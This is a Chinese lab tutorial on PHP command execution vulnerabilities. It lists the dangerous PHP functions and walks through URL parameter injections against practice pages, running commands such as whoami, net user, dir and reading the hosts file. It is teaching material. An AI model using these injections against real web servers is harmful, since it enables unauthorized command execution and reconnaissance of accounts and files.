当前位置: 首页 > news >正文

命令执行漏洞——系统命令执行

应用程序有时需要调用一些执行命令的函数,由于服务器对代码中可执行的特殊函数入口没有做过滤,并且用户能够控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击。
命令执行漏洞可以分为远程命令执行(代码执行)和系统命令执行两类,常见危险函数也分为两类:代码执行函数和命令执行函数。

PHP中常见代码执行函数:
array_map()
eval()
assert()
preg_replace()
call_user_func()
$a($b)动态函数

PHP中常见系统命令执行函数:
system()
exec()
shell_exec()
passthru()
popen()
反引号"`"

一、允许系统命令执行的相关函数有:

1、system()

 

 

1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/system.php

 2、在URL后拼接"?a=ipconfig",访问http://ip/os/system.php?a=ipconfig,执行代码

 3、在URL后拼接"?a=whoami",访问http://ip/os/system.php?a=whoami,执行代码


2、exec()

 

 

 1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/exec.php

 2、在URL后拼接"?a=ipconfig",访问http://ip/os/exec.php?a=ipconfig,执行代码

 3、在URL后拼接"?a=whoami",访问http://ip/os/exec.php?a=whoami,执行代码

 


3、shell_exec()

 

 

 1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/shell_exec.php

2、在URL后拼接"?a=ipconfig",访问http://ip/os/shell_exec.php?a=ipconfig,执行代码

3、在URL后拼接"?a=whoami",访问http://ip/os/shell_exec.php?a=whoami,执行代码

 


4、passthru()

 

 

 1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/passthru.php

 

2、在URL后拼接"?a=ipconfig",访问http://ip/os/passthru.php?a=ipconfig,执行代码

 3、在URL后拼接"?a=whoami",访问http://ip/os/passthru.php?a=whoami,执行代码

5、popen():将命令执行的结果写入到一个文件

 

 

 1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/popen.php

 2、在URL后拼接a的参数值,比如"?a=1",访问http://ip/os/popen.php?a=1,执行代码,无任何报错

 3、访问http://ip/os/1.txt,查看新建的执行结果的文件

6、反引号

 1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/fdyh.php

2、在URL后拼接a的参数值,比如"?a=1",访问http://ip/os/fdyh.php?a=1,执行代码,输出想要的结果


6、系统命令执行漏洞利用之执行操作系统命令

原理:

利用系统命令执行漏洞可以执行一些操作系统命令,从而获取重要信息。

1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/system.php

2、在URL后拼接"?a=cd",访问http://ip/os/system.php?a=cd,执行代码,查看当前文件的绝对路径

 3、在URL后拼接"?a=dir",访问http://ip/os/system.php?a=dir,执行代码,查看当前目录下的所有文件

 4、在URL后拼接"?a=net user",访问http://ip/os/system.php?a=net user,执行代码,查看所有用户

 5、在URL后拼接"?a=type c:\windows\system32\drivers\etc\hosts",访问http://ip/os/system.php?a=type c:\windows\system32\drivers\etc\hosts,执行代码,查看hosts文件

 


这篇文章就先写到这里了

相关文章:

  • 【数据结构与算法】List接口栈队列
  • 将cookie字符串转成editthiscookie插件的json格式
  • SpringAOP总结
  • python--数据容器--列表
  • Roson的Qt之旅 #119 QNetworkAddressEntry详细介绍
  • Mybatis -- 使用
  • C语言双链表,循环链表,静态链表讲解(王道版)
  • 比较zab、paxos和raft的算法的异同
  • Python Argparse 库讲解特别好的
  • C++~从编译链接的过程看为什么C++支持重载?externC有什么用?
  • App移动端测试【10】Monkey自定义脚本案例
  • springboot 整合dubbo3开发rest应用
  • 【机器学习】集成学习:使用scikitLearn中的BaggingClassifier实现bagging和pasting策略
  • 算法与数据结构 --- 串,数组和广义表 --- 串
  • 【Python Web】Flask框架(四)Bootstrap的使用及案例
  • __proto__ 和 prototype的关系
  • 【跃迁之路】【519天】程序员高效学习方法论探索系列(实验阶段276-2018.07.09)...
  • JavaScript 基础知识 - 入门篇(一)
  • javascript数组去重/查找/插入/删除
  • js数组之filter
  • NLPIR语义挖掘平台推动行业大数据应用服务
  • RxJS 实现摩斯密码(Morse) 【内附脑图】
  • VUE es6技巧写法(持续更新中~~~)
  • Vue.js-Day01
  • 聚簇索引和非聚簇索引
  • 开源地图数据可视化库——mapnik
  • 深入浅出Node.js
  • 物联网链路协议
  • 想晋级高级工程师只知道表面是不够的!Git内部原理介绍
  • Unity3D - 异步加载游戏场景与异步加载游戏资源进度条 ...
  • # 深度解析 Socket 与 WebSocket:原理、区别与应用
  • #android不同版本废弃api,新api。
  • (2/2) 为了理解 UWP 的启动流程,我从零开始创建了一个 UWP 程序
  • (51单片机)第五章-A/D和D/A工作原理-A/D
  • (C语言)二分查找 超详细
  • (Redis使用系列) SpringBoot中Redis的RedisConfig 二
  • (十) 初识 Docker file
  • (四)Tiki-taka算法(TTA)求解无人机三维路径规划研究(MATLAB)
  • (算法二)滑动窗口
  • (转) ns2/nam与nam实现相关的文件
  • (转)人的集合论——移山之道
  • *2 echo、printf、mkdir命令的应用
  • .bat批处理(六):替换字符串中匹配的子串
  • .htaccess 强制https 单独排除某个目录
  • .NET Core使用NPOI导出复杂,美观的Excel详解
  • .NET delegate 委托 、 Event 事件,接口回调
  • .NET 指南:抽象化实现的基类
  • .netcore 6.0/7.0项目迁移至.netcore 8.0 注意事项
  • .net图片验证码生成、点击刷新及验证输入是否正确
  • .py文件应该怎样打开?
  • /使用匿名内部类来复写Handler当中的handlerMessage()方法
  • @TableLogic注解说明,以及对增删改查的影响
  • @vue/cli脚手架
  • @基于大模型的旅游路线推荐方案
  • [20160807][系统设计的三次迭代]